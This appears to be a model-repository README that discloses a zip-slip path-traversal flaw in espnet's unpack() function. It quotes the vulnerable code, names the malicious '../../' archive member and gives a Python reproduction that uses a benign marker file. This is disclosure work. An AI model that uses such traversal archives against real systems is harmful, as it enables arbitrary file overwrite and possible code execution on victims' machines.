espnet / README.md
n4u's picture
Upload 2 files
f6cbf00 verified
|
Raw
History Blame Contribute Delete
2.78 kB
metadata
license: apache-2.0
tags:
  - security
  - proof-of-concept
  - path-traversal

espnet unpack() zip-slip / path-traversal arbitrary file write (PoC model)

This repository contains a benign proof-of-concept model archive that demonstrates a path-traversal / zip-slip arbitrary file write in espnet.

  • Affected code: espnet2/main_funcs/pack_funcs.py, function unpack() (commit 85ac06a1f773ab842169d73e8805801d61a4a738).
  • Reached by the public model-loading path espnet_model_zoo.downloader.ModelDownloader.download_and_unpack(...)unpack_local_file(...)pack_funcs.unpack(archive, cachedir).

Root cause

When espnet unpacks a model archive, every member whose name is listed in the archive's meta.yaml yaml_files is written with a manually joined path:

fname   = archive.get_name_from_info(info)   # attacker-controlled member name
outname = outpath / fname                     # no basename / no containment check
outname.parent.mkdir(parents=True, exist_ok=True)
with outname.open("w") as f:                   # writes OUTSIDE outpath if fname has ../
    yaml.safe_dump(d, f)

The member name is never sanitised, so a name such as ../../ESPNET_ZIPSLIP_ESCAPED.yaml escapes the intended extraction directory. Because the write uses a manual join + open("w") (not ZipFile.extract), this escape works even for plain .zip archives, bypassing zipfile's own .. protection. The non-yaml branch (archive.extract(...)) additionally enables classic tar-slip for .tar/.tgz archives. An attacker who publishes a model can therefore drop files at arbitrary filesystem locations (e.g. overwrite a startup script or config), leading to potential code execution.

Contents

  • espnet_zipslip_poc.zip — a minimal malicious espnet model archive. It contains meta.yaml and one member literally named ../../ESPNET_ZIPSLIP_ESCAPED.yaml.

benign PoC — writes a marker only: the escaping member writes a harmless YAML marker (marker: ESPNET_ZIPSLIP_ESCAPED); it performs no destructive action.

Reproduce

pip install espnet
python -c "import tempfile,pathlib; from espnet2.main_funcs.pack_funcs import unpack; \
d=pathlib.Path(tempfile.mkdtemp()); o=d/'cachedir'/'modelhash'; o.mkdir(parents=True); \
(o/'model.zip').write_bytes(pathlib.Path('espnet_zipslip_poc.zip').read_bytes()); \
unpack(str(o/'model.zip'), str(o)); \
print('ESCAPED FILE WRITTEN OUTSIDE EXTRACTION DIR:', (d/'ESPNET_ZIPSLIP_ESCAPED.yaml').exists())"

Expected output ends with:

ESCAPED FILE WRITTEN OUTSIDE EXTRACTION DIR: True

The file ESPNET_ZIPSLIP_ESCAPED.yaml appears two directories above the extraction directory, proving the traversal.